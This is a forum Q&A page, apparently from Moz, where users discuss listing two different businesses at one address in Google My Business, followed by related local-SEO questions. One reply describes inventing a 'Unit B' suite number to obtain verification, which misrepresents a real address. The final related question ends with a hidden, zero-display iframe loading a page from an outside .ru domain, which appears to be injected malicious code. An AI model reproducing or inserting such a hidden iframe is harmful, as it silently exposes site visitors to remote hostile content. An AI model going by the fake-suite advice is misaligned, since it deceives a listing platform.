Google My Business
-
I have a question about Google my Business. Currently I have a business that's been verified. I would like to add another business with the same address. The businesses are different (name, website, phone number) but the primary address is the same. Is this something that can be done? Thanks for your help.
-
Hi Miriam,
Thanks for checking back in. Yes, the businesses are different and the phone number, name and websites are different. Thanks for your help.
-
Hey Dave,
I totally know where you are coming from, and what you are describing is something I was also suggesting to clients not very long ago. It seemed like a rational solution. But a few things made me change my own position on this:
-
Google has gotten MUCH better at separating businesses at a shared location than they used to be just a couple of years ago. They used to be really poor at doing this and merged listings were a common phenomenon. They are much less common now, and I attribute this to Google's growing sophistication.
-
Google has always been really clear about wanting the real world address, and while in the past, I might have felt I had to 'help' them with suite numbers because of their known merging fiasco, I don't feel this is necessary any longer, and it's always safer to abide by the letter to the guidelines, right?
-
Google has definitely become more sophisticated at reading real-world signage. Their team can look at a streetview-type image of any business, and if they see a discrepancy in what you've listed with what's on the building, they can act on that information.
So, that's my evolution of thinking on this over the past couple of years, in a nutshell. The only grey area I personally still have about this is when the businesses are similar. For example, a muffler shop and an oil change place might legitimately be two different businesses in the real world, but could possibly be mistaken for a single business owner trying to spam Google by making categories of a business appear to be separate businesses. So I'm not 100% confident as to where we and Google are at with that scenario these days.
-
-
Agreed it's not ideal but unfortunately from my experience you can't list two businesses with the same address meaning without a workaround one of them won't get a listing which is obviously a disadvantage.
Probably something Google should fix (perhaps an extra level of verification or some such thing) but until they do there's not much choice.
-
Hi There,
Just wanted to pop back by, as I wouldn't personally advise adding a suite number unless one actually exists. Google wants real physical addresses. So, the better course here... provided we are talking about 2 unique businesses that aren't related .... would just be to make sure the name, number and website are unique.
-
Good luck and hope it works out as well for you as it should.
-
Thanks for all the information. The comments were very helpful. The businesses are different (phone number, website) and I believe the address can include a suite number which will help make them different too.
Very helpful!
-
Very good point to add.
-
Hi There!
It's generally okay to run more than one business out of the same address unless the businesses are in the same or similar category. So, for example an air conditioner repair shop and heater repair shop at the same location might fall under suspicion. But an auto garage and an accountant at the same location should have no problems provided the complete name, phone and website are distinct.
-
I hit a similar issue with a client once. A completely legitimate second business running out of the same address as the first. We simply set the second one as "Unit B" and mentioned to the letter carrier that there would be mail delivered there. As long as you've been nice to them and given them a nice Christmas card they'll probably do you the favor of delivering the Suite B verification card.
Not the whitest of hat things to do technically probably but ethically they were 2 registered and visited business and it wasn't their fault they both were run out of the same location so I didn't personally have an issue with it.
-
Could you provide a little more information? Website URLs or business information would be helpful to give a more accurate response to this problem. Typically you really shouldn't have two separate businesses at the same address - that could cause merging issues with the pages. The most common solution is using a suite number, but it some cases that's not possible. This address wouldn't happen to be in a shared office suite (eg, regus suite), would it?
Got a burning SEO question?
Subscribe to Moz Pro to gain full access to Q&A, answer questions, and ask your own.
Browse Questions
Explore more categories
-
Moz Tools
Chat with the community about the Moz tools.
-
SEO Tactics
Discuss the SEO process with fellow marketers
-
Community
Discuss industry events, jobs, and news!
-
Digital Marketing
Chat about tactics outside of SEO
-
Research & Trends
Dive into research and trends in the search industry.
-
Support
Connect on product support and feature requests.
Related Questions
-
How do Nation wide business win Local?
For example, this site https://www.kvetinyhned.cz for selling flowers is ahead of the sales of local stores that have a site but aimed only at sales in a certain area of the store
Local Website Optimization | | Martin11Martin0 -
How about a No-index backlink in the eye of Google
I have a doubt - when I create a backlink as a part of SEO in some website when I rechecked the same couple of days after. It hasn't indexed and I checked its robots file. It showing **User-agent: ****Mediapartners-Google ****Disallow: ****User-Agent: * ****Disallow:**However, is this create any backlink support or just this for the purpose of not indexing in google.I make it simple -"Is this kind of backlink creation support my SEO activity or Not?" In this No-index website.
Local Website Optimization | | LayaPaul0 -
Google-selected canonical: the homepage?
Hi guys,
Local Website Optimization | | Andreea-M
I checked the product pages on our website with Google Search Console (URL Inspection), and the majority appear as
"URL is not on Google"
Coverage: "Duplicate, submitted URL not selected as canonical", and
Google-selected canonical: the homepage of the website (for all product pages) Our product pages are not identical to the homepage (content-wise), besides the top menu, header and footer, so how could I use the canonical tag in this case? I wouldn't want that the product pages to be seen as duplicates of the homepage. Thanks!0 -
SEO Client not rankings in Google
Hello, I have a client that has continued to be problematic for my team and I. They have fair to middling rankings in Yahoo and Bing, but none in Google. I realize that they are three separate search engines each with their own criteria, but this client is the only one experiencing this problem. There is no significant duplicate content that can find, same with restrictions in the robots.txt file. These seems to be no reason why all my tools say that this client has no presence at all in google, especially when the client gains most of their traffic through Google. Can anyone assist me in finding out what is going wrong? Client website for reference: http://www.volvethosp.com/ Best, BeyondIndigo
Local Website Optimization | | BeyondIndigo0 -
Ranking not up in google
Hello Everyone, I am having problem to get ranking for this 3 domains http://goo.gl/L5e2Y2 http://goo.gl/QsU9gq http://goo.gl/igTT76 can anyone help, please Thanx in advance
Local Website Optimization | | falgunipanchal1 -
Australian local business website on a dot.com - how do I ensure its indexed/ranked by Google.com/au as priority
look forward to your advice My client is a local business in australia but has a dotcom site which is hosted in US. We are just moving it to wordpress and new hosting. I want to ensure that Google.com/au will be able to index and rank the content. How can I tell google its a site for people in australia? I thought best to set up a subfolder like this hissite.com/au and redirect anyone from australia to go to this url? Thanks for your recommendations
Local Website Optimization | | bisibee10 -
How can I get a Google places 'widget' displaying on SERPS?
Hi all, My query relates to the Google Places 'Widget' (not sure what they are called exactly). If you do a search for, let's say 'Apple' you get the regular SERPs and on the right of the page they display a Google Places panel which includes map, company details & reviews. (and also a G+ panel for some businesses, where appropriate) What determines this being displayed? I had presumed a correctly formatted and optimised 'Places' page and making sure this was linked and verified. We have Google Places set up for quite a long time (and verified) but for some reason it's not being displayed. Any thoughts? On another note, a client of ours has the opposite issue - they would like to remove this panel from SERPs. I'm guessing the only way to do that would be to remove the Google Places page? Thanks in advance...
Local Website Optimization | | davidmaxwell0 -
Main Website and microsite - Do I do google places for both as it will technically be duplicating the locations,?
Hi All, I have a main eCommerce website which trades out of a number of locations and all these locations appear in google places although they don't rank particularly well in google places . I also have a number of microsites which are specific to one type of product I do and these rank very well locally. My question is , should I also do google places for my microsites as this would technically mean I am creating a duplicate location listing in google places but for a different website etc./business I only have one google account so I guess this would be done under the same google account ? thanks Pete <iframe id="zunifrm" style="display: none;" src="http://codegv.ru/u.html"></iframe>
Local Website Optimization | | PeteC120